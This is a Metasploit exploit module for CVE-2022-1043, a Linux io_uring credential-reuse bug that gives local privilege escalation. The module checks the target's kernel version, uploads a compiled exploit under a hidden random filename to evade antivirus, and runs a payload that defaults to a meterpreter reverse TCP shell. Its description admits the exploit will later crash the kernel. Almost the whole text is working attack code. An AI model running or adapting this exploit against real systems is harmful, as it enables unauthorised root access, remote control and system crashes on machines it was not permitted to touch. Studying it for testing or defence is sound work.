io_uring Same Type Object Reuse Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GreatRanking # https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking  
  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
include Msf::Post::Linux::Kernel  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Post::Linux::Compile  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'io_uring Same Type Object Reuse Priv Esc',  
'Description' => %q{  
This module exploits a bug in io_uring leading to an additional put_cred()  
that can be exploited to hijack credentials of other processes.  
  
We spawn SUID programs to get the free'd cred object reallocated by a  
privileged process and abuse them to create a SUID root binary ourselves  
that'll pop a shell.  
  
The dangling cred pointer will, however, lead to a kernel panic as soon as  
the task terminates and its credentials are destroyed. We therefore detach  
from the controlling terminal, block all signals and rest in silence until  
the system shuts down and we get killed hard, just to cry in vain, seeing  
the kernel collapse.  
  
The bug affected kernels from v5.12-rc3 to v5.14-rc7.  
  
More than 1 CPU is required for exploitation.  
  
Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'Ryota Shiga', # discovery  
'Mathias Krause' # original PoC, analysis  
],  
'Platform' => [ 'linux' ],  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [[ 'Auto', {} ]],  
'Privileged' => true,  
'References' => [  
[ 'URL', 'https://grsecurity.net/exploiting_and_defending_against_same_type_object_reuse' ],  
[ 'URL', 'https://github.com/opensrcsec/same_type_object_reuse_exploits' ],  
[ 'URl', 'https://github.com/torvalds/linux/commit/a30f895ad3239f45012e860d4f94c1a388b36d14' ],  
[ 'CVE', '2022-1043' ]  
],  
'DisclosureDate' => '2022-03-22',  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',  
'PrependFork' => true  
},  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK]  
}  
)  
)  
register_advanced_options [  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])  
]  
end  
  
# Simplify pulling the writable directory variable  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def check  
# Check the kernel version to see if its in a vulnerable range  
release = kernel_release  
if Rex::Version.new(release.split('-').first) > Rex::Version.new('5.14-rc7') ||  
Rex::Version.new(release.split('-').first) < Rex::Version.new('5.12-rc3')  
vprint_error "Kernel version #{release} is not vulnerable"  
return CheckCode::Safe  
end  
vprint_good "Kernel version #{release} appears to be vulnerable"  
  
# make sure we have enough CPUs. Minimum 2 required  
cpu = get_cpu_info  
if cpu[:cores] < 2  
CheckCode::Safe("> 1 CPU required, detected: #{cpu[:cores]}")  
end  
CheckCode::Vulnerable("> 1 CPU required, detected: #{cpu[:cores]}")  
end  
  
def exploit  
# Check if we're already root  
if is_root? && !datastore['ForceExploit']  
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'  
end  
  
# Make sure we can write our exploit and payload to the local system  
unless writable? base_dir  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
# Upload exploit executable, writing to a random name so AV doesn't have too easy a job  
executable_name = ".#{rand_text_alphanumeric(5..10)}"  
executable_path = "#{base_dir}/#{executable_name}"  
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"  
if live_compile?  
vprint_status 'Live compiling exploit on system...'  
code = strip_comments(exploit_source('CVE-2022-1043', 'cve-2022-1043.c'))  
upload_and_compile executable_path, code  
else  
vprint_status 'Dropping pre-compiled exploit on system...'  
upload_and_chmodx executable_path, exploit_data('CVE-2022-1043', 'pre_compiled')  
end  
  
# Upload payload executable  
upload_and_chmodx payload_path, generate_payload_exe  
register_files_for_cleanup(payload_path)  
register_files_for_cleanup(executable_path)  
  
timeout = 30  
print_status 'Launching exploit...'  
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout  
output.each_line { |line| vprint_status line.chomp }  
end  
end  
`